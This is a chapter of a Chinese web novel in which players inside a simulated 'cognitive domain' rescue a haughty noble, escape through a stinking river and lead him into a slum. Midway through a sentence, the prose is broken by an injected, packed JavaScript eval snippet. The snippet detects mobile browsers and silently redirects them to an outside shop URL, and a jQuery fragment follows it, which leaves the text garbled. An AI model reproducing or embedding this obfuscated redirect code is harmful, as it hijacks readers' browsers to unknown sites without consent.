【江一和】:@沈鸥,快施展你的魔法,子弹一直在追我 【沈鸥】:我看到你了!撑住,马上就到! 【苏词】:我马上过来 【沈鸥】:不用,已经好了[嘴叼玫瑰] 【白飞舟】:那就好,我还在打老鼠 【江一和】:哪来那么多老鼠? 【苏词】:还能吐槽,看来还不需要我 【江一和】:师父,我需要你! 【沈鸥】:?那我走? 【沈鸥】:快过来,我打开了一个规则漏洞避难所,我们地图信号连上了,看到我的位置了吗? 江一和瞄了一眼地图,果然见到地图可见区域已经扩大了一块,一个绿色的小点正显示在附近,她几个跃步避开了追赶过来的卫兵,走到了一堵围墙前,在墙面上敲了三下,随后便被墙里伸出的一只手迅速地拉了进去。 “身手越来越好了嘛,少年。” 沈鸥接过昏迷过去的阿德里安,将他放平在地上,转头对江一和竖了个大拇指。 江一和随意地靠在墙边,回答道:“那必须的。对了,他应该不会死吧?” 沈鸥随手戳了一下那个少年,说道:“没事,大型认知域中的奇点人物,在奇点驱散之前,就算死了也能复活。” 江一和点点头,在通讯中报了个平安,说道:“我们先逃过追杀,然后跟师父她们汇合吧。” “嗯。”沈鸥答应一声,仔细听了听外面的声音,说道:“外面戒严了,这一边出不去。” 他看了看另一边,问道:“你会游泳吗?” 得到肯定的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299244|198620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 答复后,他扛起了少年,对着江一和做了个跟上的手势:“跟着我,不过要做好心理准备,这里的河水估计挺臭的。” 他说完身体一跃,已经从墙壁中穿了出去,江一和听见了扑通一声,随后信息界面弹出了消息: 【沈鸥】:!!!好高! 【沈鸥】:先从斜坡上面滑下来 【沈鸥】:好臭的河水,为什么这破认知域要在这种细节上还原现实! 【白飞舟】:此乃——天将降大任于斯人也,必先劳其筋骨,苦其心志 【沈鸥】:你倒是背完啊 【白飞舟】:哼,区区九年义务教育的文章,此小道也! 【苏词】:背不出来就不要勉强了 【苏词】:一和,你怎么样了? 【江一和】:正要下水 【江一和】:确实臭 【江一和】:就没有别的路了吗 【江一和】:怎么还有泡肿的——呕—— 【沈鸥】:少见多怪了吧,以这个认知域的时代背景来说,正常 【白飞舟】:没有老鼠就没事 【沈鸥】:那必须有啊,等我带给你看,泡过水的不一样 【白飞舟】:不必了!!! 【白飞舟】:我忘了手册里有没有说,这种认知域会不会像现实一样感染病毒啊? 【苏词】:我们外来者不会 【苏词】:一般不会 【白飞舟】:……希望这次是一般 【沈鸥】:上岸了 【沈鸥】:一和,跟上 江一和屏住呼吸从冰冷污浊、臭气熏天的河水中爬上了岸,浑身湿漉漉地跟在前面的沈鸥身后。 这里已经是广场隔着河流的对岸,不远处,是一片密密麻麻的贫民窟窝棚。 那些窝棚低矮、破败,空气中散发着比河水还要恶臭的味道,一脚踩下去,也不知道是泥水还是其他可疑的事物。 沈鸥背上的阿德里安突然剧烈地咳嗽起来,似乎是条件反射般捂住口鼻,并开始挣扎了起来。 “放我下去!该死的贱民!谁允许你们绑架伟大的贵族子夜伯爵!我可是阿德里安·德·拉塞尔!是尊贵的拉塞尔家族的继承人,是皇帝陛下亲自授勋的最尊贵的骑士!” “叽里咕噜说什么呢?”沈鸥不耐烦地将他一把掼在地上,摔出了一声响亮的“嗵”,“还伯爵,还最尊贵的骑士,闻闻你一身的臭味吧,跟你口中的贱民有什么区别?哦区别是你刚刚像死狗一样被贱民拖着走。” 阿德里安被摔得有些懵,在地上坐了一会儿,看看沈鸥,又看看江一和,屁股在地上向后挪了几下,这才小心翼翼地站了起来,问道:“是你们救了我?” 平时一向笑嘻嘻很是随和的沈鸥,看上去对这个贵族没什么好感,冷笑着说道:“当然不是,上帝看你太虔诚,派了天使用银十字架将你渡过了河。” 阿德里安被噎了一下,转向了江一和,眼神中透露出几分疑惑:“我似乎在哪见过你……” 江一和似笑非笑地看了他一眼,说道:“没有邀请函能去你家做客么?” 阿德里安大概没听明白,但还是优雅了行了一个贵族礼:“当然可以,多谢两位勇敢又尊贵的骑士相救,两位可以赏脸光临我的城堡,让我设宴答谢一番吗?” “你还是个逃犯呢,贵族小子,这就半场开香槟了?”沈鸥嗤笑着一巴掌拍在他肩膀上,顺势抓着他的手臂向着前方的贫民窟走去,“走吧,那边戒严了,只有这一条路。” “哎?哎哎哎我自己走!”阿德里安挣扎不开,认命般地垂下头,跟上了沈鸥的脚步,嘀咕道,“看在你们救了我的份上……” 三人走近了贫民窟,黑暗中,几只干瘦的老鼠从脚边溜过,一片寂静中,脚步声在泥水中溅起的声音格外清晰。 阿德里安再次掩住口鼻,表情中满是厌恶与不适:“这里好脏,这些贱民就不能好好处理他们的卫生状况吗?真是懒惰。” 沈鸥脚下一顿,拽着阿德里安的手用力一捏,把他往前一推,冷哼了一声:“不如请尊贵的伯爵大人帮忙打扫一下吧。” 阿德里安痛呼一声,踉跄着往前走了几步,一抬头,看见黑暗中一点点光芒逐渐亮起,那些轮廓也逐渐清晰起来—— 那是一些骨瘦如柴的人们,或坐或躺地缩在角落里,眼睛深陷在眼窝中,看过来的眼神空洞又茫然。 阿德里安几乎本能般退后一步,又被沈鸥一把抓住,拉着他向前走去。 “来吧,伯爵大人——你不是喜欢审判别人的罪行吗?那就来审判他们的罪。”